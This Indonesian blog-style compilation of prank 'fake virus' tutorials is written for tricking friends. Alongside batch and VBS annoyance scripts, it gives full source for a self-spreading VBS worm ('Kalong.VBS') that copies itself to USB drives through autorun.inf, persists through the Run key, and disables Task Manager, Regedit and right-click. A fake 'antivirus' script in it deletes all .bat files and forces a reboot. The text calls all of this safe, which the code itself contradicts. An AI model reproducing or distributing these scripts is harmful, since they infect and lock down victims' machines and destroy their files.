Cara Membuat Virus Komputer Palsu

Membuat virus komputer palsu untuk sekedar iseng atau untuk menjaili teman anda. 100% aman dan nggak akan meninggalkan kerusakan pada komputer yang menjalankan script ini, tapi mungkin bisa meninggalkan lebam ato bekas tangan diwajah anda . so Take Your Own Risk !!!!
virus 1
pertama buka notepad kemudian ketik
@echo off
echo checking system:
echo for %%i in (“*.bat”) do copy %%i+c:\tmp.bat %%i >c:\windows\system32\autoexec.NT
echo VIRUS DETECTED
pause
echo DELETING VIRUS
pause
echo FAILED TO DELETE THE VIRUS

pause
echo CONTACTING THE ANTIVIRUS
pause
echo FAILED
pause
echo FAILED
:1
dir /s
copy c:\tmp.bat c:\docum~1\%username%\desktop\greatgame_%random%.bat
goto 1

save as virus.bat di desktop atau yang lainnya, ekstensinya harus .bat, kemudian ganti icon-nya, yaitu dengan cara klik kanan, klik properties cari icon yang diinginkan, lebih baik pakai iconnya IE atau FF sesuaikan namanya. tapi sebelumnya buat shortcut ke program virus palsu tadi. klik kanan shortcut klik properties ganti iconnya.
untuk menghentikan virus palsu tadi dengan cara tekan Ctrl+C, atau menggunakan taskmanager.
virus2


Ini virus jadi-jadian yang paling OK tinggal download di sini, unzip, buat shortcutnya di desktop dan ganti iconnya denganicon aplikasi yang sering digunakan misalnya browser, winamp, WMP, YM dll. Virus ini nggak bisa di stop namun akan berhenti sendiri setelah ....
-Efek Cuma Beberapa menit aja ,,,,







*Notice*
-Selamat Mencoba
-jangan lupa koment Kalau Anda Berhasil maupun gagal. .

script jail Notepad Part2

1.buka tutup CD/DVD
Code:
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
save namafile.vbs


2.bikin vbscript nongol mlulu
Code:
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
save namafile.vbs
ket: di task manager full wscript yg lg running
.

Membuat Virus Sederhana Dengan Notepad

Malcode lokal yang dibuat dengan bahasa VBS. Wah, ternyata para virus maker mulai melirik memakai bahasa VBS. Mungkin karena menyangkut HAKI (Hak Atas Kekayaan Intelektual) karena VB6.0 yang banyak beredar adalah bajakan. Jadi ia membuat virus dengan VBS yang bisa dibuat hanya dengan Notepad karena di Windows sudah ada compiler yang terintegrasi dengannya, Windows Based Script Host.
Sesua janji saya, kita akan membuat virus yang sederhana menggunakan Notepad. Virus ini akan membuat dirinya menyebar ke removable disc dengan AutoRun sehingga komputer lain yang tercolok flash disc terinfeksi akan langsung menjadi korban tanpa menungu User menjalankan infector-nya. Virus ini saya beri nama “Kalong.VBS”. Sekarang buka Notepad-nya.
Copy Atau Tulis kode Dibawah Ini berikut :
‘//–Awal dari kode, set agar ketika terjadi Error dibiarkan dan kemudian lanjutkan kegiatan virus–//
on error resume next
‘//–Dim kata-kata berikut ini–//
dim rekur,windowpath,flashdrive,fs,mf,isi,tf,kalong,nt,check,sd
‘//–Set sebuah teks yang nantinya akan dibuat untuk Autorun Setup Information–//
isi = “[autorun]” & vbcrlf & “shellexecute=wscript.exe k4l0n6.dll.vbs”
set fs = createobject(”Scripting.FileSystemObject”)
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text = mf.openastextstream(1,-2)
do while not text.atendofstream
rekur = rekur & text.readline
rekur = rekur & vbcrlf
loop
do
‘//–Copy diri untuk menjadi file induk di Windows Path (example: C:\Windows)
Set windowpath = fs.getspecialfolder(0)
set tf = fs.getfile(windowpath & “\batch- k4l0n6.dll.vbs “)
tf.attributes = 32
set tf=fs.createtextfile(windowpath & “\batch- k4l0n6.dll.vbs”,2,true)
tf.write rekursif
tf.close
set tf = fs.getfile(windowpath & “\batch- k4l0n6.dll.vbs “)
tf.attributes = 39
‘//–Buat Atorun.inf untuk menjalankan virus otomatis setiap flash disc tercolok–//
‘Menyebar ke setiap drive yang bertype 1 dan 2(removable) termasuk disket
for each flashdrive in fs.drives
‘//–Cek Drive–//
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> “A:” then
‘//–Buat Infector jika ternyata Drivetypr 1 atau 2. Atau A:\–//
set tf=fs.getfile(flashdrive.path &”\k4l0n6.dll.vbs “)
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &”\k4l0n6.dll.vbs “,2,true)
tf.write rekursif
tf.close
set tf=fs.getfile(flashdrive.path &”\k4l0n6.dll.vbs “)
tf.attributes = 39
‘//–Buat Atorun.inf yang teks-nya tadi sudah disiapkan (Auto Setup Information)–//
set tf =fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true)
tf.write isi
tf.close
set tf = fs.getfile(flashdrive.path &”\autorun.inf”)
tf.attributes=39
end if
next
‘//–Manipulasi Registry–//
set kalong = createobject(”WScript.Shell”)
‘//–Manip – Ubah Title Internet Explorer menjadi THE KALONG v.s. ZAY–//
kalong.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”,” THE KALONG v.s. ZAY “
‘//–Manip – Set agar file hidden tidak ditampilkan di Explorer–//
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”, “0″, “REG_DWORD”
‘//–Manip – Hilangkan menu Find, Folder Options, Run, dan memblokir Regedit dan Task Manager–//
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “1″, “REG_DWORD”
‘//–Manip – Disable klik kanan–//
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu”, “1″, “REG_DWORD”
‘//–Manip – Munculkan Pesan Setiap Windows Startup–//
kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “Worm Kalong. Variant from Rangga-Zay, don’t panic all data are safe.”
‘//–Manip – Aktif setiap Windows Startup–//
kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Systemdir”, windowpath & “\batch- k4l0n6.dll.vbs “
‘//–Manip – Ubah RegisteredOwner dan Organization–//
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization”, “The Batrix”
kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner”,”Kalong”
‘//–Nah kalau kode dibawah ini saya nggak tau, tolong Mas Aat_S untuk menjelaskan–//
if check <> 1 then
Wscript.sleep 200000
end if
loop while check <> 1
set sd = createobject(”Wscript.shell”)
sd.run windowpath & “\explorer.exe /e,/select, ” & Wscript.ScriptFullname
‘Akhir dari Kode
Save code di Notepad dengan cara FILE > SAVE. Lalu di save as type pilih “All Files (*.*). Simpan dengan nama : rudy.dll.vbs atau k4l0n6.dll.vbs.

*Notice*
Selamat mencoba ,,,,:D

Script Jail Di Notepad

1.message yang nongol melulu

Code:

@ECHO off
:Begin
msg * muka lo jelek
msg * ngaca dulu gih
msg * hayo lo,cpu lu gw acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
GOTO BEGIN

save Rudy.BAT

2.Mainin Caps Lock button

Code:

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"

loop

save rudy.vbs

Membuat AntiVirus Denga Notepad

Pada Pembahasan kali ini saya akan menerangkan bagaimana membuat antivirus sendiri dengan notepad yang saya sunting dari youtube, kalau selama ini kita mengenal cara membuat virus sendiri kita harus membuat antivirusnya sendiri dengan script-script yang sederhana. Dengan notepad yang terdapat disetiap komputer windows kita akan mencoba membuatnya.......
Coba buka notepad dan ketik script dibawah ini...


x=msgbox("This Antivirus should delete SOME of the virus's that you may have.",1+16 ,"Alert")
x=msgbox("What this does is removes anything that has any text that seems like a virus",1+16 ,"Alert")
x=msgbox("It will also go through your computer and delete ALL Batch Files.",1+16 ,"Alert")
x=msgbox("If you want any of your .bat files saved then do so before hitting Okay",1+16 ,"Alert")
x=msgbox("The Anti-Virus software is now ready to begin, click OKAY to begin",1+16 ,"Alert")
del (.bat*)
x=msgbox("All BAT Files successfuly removed. Click Okay to Continue.",1+16 ,"Alert")
del virus.vbs
del virus.bat
del trojan.bat
del trojan.vbs
del infected.bat
del infected.vbs
del TROJ.bat
del TROJ.vbs
del Trojan Horse.bat
del Trojan Horse.vbs
del OM.bat
del OM.vbs
del Macro Virus.bat
del Micro virus.vbs
del conflicker.vbs
del conflicker.bat
x=msgbox("Anti-Virus Completed... Will Now test and make sure some basic functions of your computer are still working",1+16 ,"Alert")
open notepad
open mspaint
open ControlPanel
open MyDocuments
x=msgbox("Now we will shutdown/Restart your computer, and Windows will install an important update for your computer",1+16 ,"Alert")
shutdown -r -c "Rebooting computer for important windows updates"
x=msgbox("Anti-Virus Software Complete. The program will now close.",1+16 ,"Alert")
Setelah di Copy+Paste Klik FILE > SAVE. Lalu di save as type pilih “All Files (*.*). Dan Simpan Dengan Nama rudy .vbs dan Langkah terakhir Restart Komputer anda ,,,,,
*Selamat Mencoba*

.

Mengacaukan Mouse (mouse jail)

Nemu lagi nih artikel seru, sesuai dengan tag-nya, kita akan usil lagi nih. Gag tau ini artikel asli punya klik-kanan atau hackcenter, soalnya sama2 di HM. trik kali ini lumayan loh bikin orang pusing, karena mousenya akan bergerak-gerak sendiri tak erkendali. bagai mana? seru gag? Oke gag usah lama-lama langsung aje ane jelasin cara kerjanya.

1. Sebelumnya download dulu ......

2. Kalau sudah silahkan double klik pada system.exe

3. Nah lihat apa yang terjadi.

Mouse anda tidak bisa dikendlikan., hhee,. Bagi yang belum tau mungkin akan kaget.

Cara mengembalikannya sangat sederhana sekali. Cukup tekan tombol ESC, pada pojok kiri keyboard anda.
Download Mouse Jail

Selamat mencoba.